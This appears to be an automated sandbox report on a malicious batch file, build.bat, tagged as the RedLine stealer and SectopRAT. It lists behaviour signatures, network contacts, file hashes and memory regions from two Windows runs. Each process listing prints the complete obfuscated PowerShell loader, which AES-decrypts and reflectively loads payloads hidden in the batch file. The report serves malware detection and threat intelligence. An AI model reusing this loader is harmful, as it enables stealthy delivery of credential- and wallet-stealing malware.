Analysis Overview
SHA256
03bbd3b3e518b52769bb9cf6e158cc771869b86b3a5ae74072aa82ac2be739bd
Threat Level: Known bad
The file build.bat was found to be: Known bad.
Malicious Activity Summary
RedLine
SectopRAT payload
RedLine payload
SectopRAT
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Accesses cryptocurrency files/wallets, possible credential harvesting
Program crash
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-05-10 18:43
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-05-10 18:43
Reported
2024-05-10 18:48
Platform
win10v2004-20240426-en
Max time kernel
135s
Max time network
203s
Command Line
Signatures
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Accesses cryptocurrency files/wallets, possible credential harvesting
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2836 wrote to memory of 2204 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2836 wrote to memory of 2204 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2836 wrote to memory of 2204 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\build.bat"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('588MiLYguAjRAXC0Hc2WXw/n/VgaxBV5tTGANBIekLk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MsdazbHpBdxaSJsXpo3CXQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YFPPL=New-Object System.IO.MemoryStream(,$param_var); $uAJtb=New-Object System.IO.MemoryStream; $HBPkS=New-Object System.IO.Compression.GZipStream($YFPPL, [IO.Compression.CompressionMode]::Decompress); $HBPkS.CopyTo($uAJtb); $HBPkS.Dispose(); $YFPPL.Dispose(); $uAJtb.Dispose(); $uAJtb.ToArray();}function execute_function($param_var,$param2_var){ $euYUx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wqoRe=$euYUx.EntryPoint; $wqoRe.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\build.bat';$cpZkp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\build.bat').Split([Environment]::NewLine);foreach ($wXaLJ in $cpZkp) { if ($wXaLJ.StartsWith(':: ')) { $lYvCd=$wXaLJ.Substring(3); break; }}$payloads_var=[string[]]$lYvCd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 183.142.211.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 79.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 72.32.126.40.in-addr.arpa | udp |
| BE | 2.17.196.96:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | ii-restored.gl.at.ply.gg | udp |
| US | 147.185.221.16:43416 | ii-restored.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 209.205.72.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 96.196.17.2.in-addr.arpa | udp |
| BE | 2.17.196.96:443 | www.bing.com | tcp |
| US | 8.8.8.8:53 | 16.221.185.147.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | api.ip.sb | udp |
| US | 172.67.75.172:443 | api.ip.sb | tcp |
| US | 8.8.8.8:53 | 172.75.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 133.211.185.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 15.164.165.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.204.248.87.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 77.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 48.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
Files
memory/2204-0-0x000000007466E000-0x000000007466F000-memory.dmp
memory/2204-1-0x0000000004AE0000-0x0000000004B16000-memory.dmp
memory/2204-2-0x0000000005150000-0x0000000005778000-memory.dmp
memory/2204-3-0x0000000074660000-0x0000000074E10000-memory.dmp
memory/2204-4-0x0000000074660000-0x0000000074E10000-memory.dmp
memory/2204-5-0x00000000057B0000-0x00000000057D2000-memory.dmp
memory/2204-6-0x0000000005950000-0x00000000059B6000-memory.dmp
memory/2204-7-0x00000000059C0000-0x0000000005A26000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cq3lutux.ovn.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2204-17-0x0000000005A30000-0x0000000005D84000-memory.dmp
memory/2204-18-0x0000000005F40000-0x0000000005F5E000-memory.dmp
memory/2204-19-0x0000000005FF0000-0x000000000603C000-memory.dmp
memory/2204-21-0x0000000006500000-0x000000000651A000-memory.dmp
memory/2204-20-0x00000000077A0000-0x0000000007E1A000-memory.dmp
memory/2204-23-0x0000000006550000-0x0000000006562000-memory.dmp
memory/2204-22-0x0000000006540000-0x0000000006548000-memory.dmp
memory/2204-24-0x0000000007130000-0x000000000714E000-memory.dmp
memory/2204-25-0x0000000007E20000-0x0000000008438000-memory.dmp
memory/2204-26-0x0000000007210000-0x0000000007222000-memory.dmp
memory/2204-27-0x0000000007270000-0x00000000072AC000-memory.dmp
memory/2204-28-0x00000000073F0000-0x00000000074FA000-memory.dmp
memory/2204-29-0x0000000008610000-0x00000000087D2000-memory.dmp
memory/2204-30-0x0000000008D10000-0x000000000923C000-memory.dmp
memory/2204-46-0x00000000097F0000-0x0000000009D94000-memory.dmp
memory/2204-47-0x00000000087E0000-0x0000000008872000-memory.dmp
memory/2204-48-0x0000000008880000-0x00000000088F6000-memory.dmp
memory/2204-49-0x0000000008960000-0x000000000897E000-memory.dmp
memory/2204-50-0x0000000074660000-0x0000000074E10000-memory.dmp
memory/2204-51-0x0000000074660000-0x0000000074E10000-memory.dmp
memory/2204-52-0x0000000074660000-0x0000000074E10000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\tmp5BC2.tmp
| MD5 | 8f5942354d3809f865f9767eddf51314 |
| SHA1 | 20be11c0d42fc0cef53931ea9152b55082d1a11e |
| SHA256 | 776ecf8411b1b0167bea724409ac9d3f8479973df223ecc6e60e3302b3b2b8ea |
| SHA512 | fde8dfae8a862cf106b0cb55e02d73e4e4c0527c744c20886681245c8160287f722612a6de9d0046ed1156b1771229c8950b9ac036b39c988d75aa20b7bac218 |
C:\Users\Admin\AppData\Local\Temp\tmp5BD8.tmp
| MD5 | 6d7ef092add3330a33162536d6a34a07 |
| SHA1 | b2646ee43195149c40daaadfada376f58169534e |
| SHA256 | 84d90c18fdb84664ac660760bb9a201f672407ad5bc5da01655ac0209f7c67a7 |
| SHA512 | 579cf4851103bb8a3db2f24050c6b79229a968f0d5fb1ea92ccfb55e045b2a8ca82532200557f57052e39357b40a17ebac437007116d45de0f97d7189a3f251f |
C:\Users\Admin\AppData\Local\Temp\tmp5C39.tmp
| MD5 | d367ddfda80fdcf578726bc3b0bc3e3c |
| SHA1 | 23fcd5e4e0e5e296bee7e5224a8404ecd92cf671 |
| SHA256 | 0b8607fdf72f3e651a2a8b0ac7be171b4cb44909d76bb8d6c47393b8ea3d84a0 |
| SHA512 | 40e9239e3f084b4b981431817ca282feb986cf49227911bf3d68845baf2ee626b564c8fabe6e13b97e6eb214da1c02ca09a62bcf5e837900160cf479c104bf77 |
C:\Users\Admin\AppData\Local\Temp\tmp5C0F.tmp
| MD5 | f70aa3fa04f0536280f872ad17973c3d |
| SHA1 | 50a7b889329a92de1b272d0ecf5fce87395d3123 |
| SHA256 | 8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8 |
| SHA512 | 30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84 |
C:\Users\Admin\AppData\Local\Temp\tmp5C09.tmp
| MD5 | 49693267e0adbcd119f9f5e02adf3a80 |
| SHA1 | 3ba3d7f89b8ad195ca82c92737e960e1f2b349df |
| SHA256 | d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f |
| SHA512 | b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2 |
C:\Users\Admin\AppData\Local\Temp\tmp5C03.tmp
| MD5 | 349e6eb110e34a08924d92f6b334801d |
| SHA1 | bdfb289daff51890cc71697b6322aa4b35ec9169 |
| SHA256 | c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a |
| SHA512 | 2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574 |
memory/2204-207-0x000000007466E000-0x000000007466F000-memory.dmp
memory/2204-208-0x0000000074660000-0x0000000074E10000-memory.dmp
memory/2204-210-0x0000000074660000-0x0000000074E10000-memory.dmp
memory/2204-213-0x0000000074660000-0x0000000074E10000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-05-10 18:43
Reported
2024-05-10 18:48
Platform
win11-20240508-en
Max time kernel
212s
Max time network
281s
Command Line
Signatures
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2224 wrote to memory of 1336 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2224 wrote to memory of 1336 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 2224 wrote to memory of 1336 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\build.bat"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('588MiLYguAjRAXC0Hc2WXw/n/VgaxBV5tTGANBIekLk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MsdazbHpBdxaSJsXpo3CXQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $YFPPL=New-Object System.IO.MemoryStream(,$param_var); $uAJtb=New-Object System.IO.MemoryStream; $HBPkS=New-Object System.IO.Compression.GZipStream($YFPPL, [IO.Compression.CompressionMode]::Decompress); $HBPkS.CopyTo($uAJtb); $HBPkS.Dispose(); $YFPPL.Dispose(); $uAJtb.Dispose(); $uAJtb.ToArray();}function execute_function($param_var,$param2_var){ $euYUx=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wqoRe=$euYUx.EntryPoint; $wqoRe.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\build.bat';$cpZkp=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\build.bat').Split([Environment]::NewLine);foreach ($wXaLJ in $cpZkp) { if ($wXaLJ.StartsWith(':: ')) { $lYvCd=$wXaLJ.Substring(3); break; }}$payloads_var=[string[]]$lYvCd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1336 -ip 1336
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1336 -s 2752
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | ii-restored.gl.at.ply.gg | udp |
| US | 147.185.221.16:43416 | ii-restored.gl.at.ply.gg | tcp |
| US | 8.8.8.8:53 | 16.221.185.147.in-addr.arpa | udp |
| US | 172.67.75.172:443 | api.ip.sb | tcp |
Files
memory/1336-0-0x0000000074E1E000-0x0000000074E1F000-memory.dmp
memory/1336-1-0x0000000005440000-0x0000000005476000-memory.dmp
memory/1336-2-0x0000000074E10000-0x00000000755C1000-memory.dmp
memory/1336-3-0x0000000005AB0000-0x00000000060DA000-memory.dmp
memory/1336-4-0x0000000074E10000-0x00000000755C1000-memory.dmp
memory/1336-5-0x0000000005A30000-0x0000000005A52000-memory.dmp
memory/1336-7-0x0000000006280000-0x00000000062E6000-memory.dmp
memory/1336-6-0x0000000006210000-0x0000000006276000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vmwra5d4.qrn.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1336-16-0x00000000062F0000-0x0000000006647000-memory.dmp
memory/1336-17-0x0000000006800000-0x000000000681E000-memory.dmp
memory/1336-18-0x0000000006830000-0x000000000687C000-memory.dmp
memory/1336-19-0x0000000008030000-0x00000000086AA000-memory.dmp
memory/1336-20-0x0000000006DC0000-0x0000000006DDA000-memory.dmp
memory/1336-21-0x00000000079D0000-0x00000000079D8000-memory.dmp
memory/1336-22-0x00000000079E0000-0x00000000079F2000-memory.dmp
memory/1336-23-0x0000000007A10000-0x0000000007A2E000-memory.dmp
memory/1336-24-0x0000000008CD0000-0x00000000092E8000-memory.dmp
memory/1336-25-0x0000000007AD0000-0x0000000007AE2000-memory.dmp
memory/1336-26-0x0000000007B30000-0x0000000007B6C000-memory.dmp
memory/1336-27-0x0000000007CB0000-0x0000000007DBA000-memory.dmp
memory/1336-28-0x0000000008880000-0x0000000008A42000-memory.dmp
memory/1336-29-0x0000000009820000-0x0000000009D4C000-memory.dmp
memory/1336-30-0x0000000074E10000-0x00000000755C1000-memory.dmp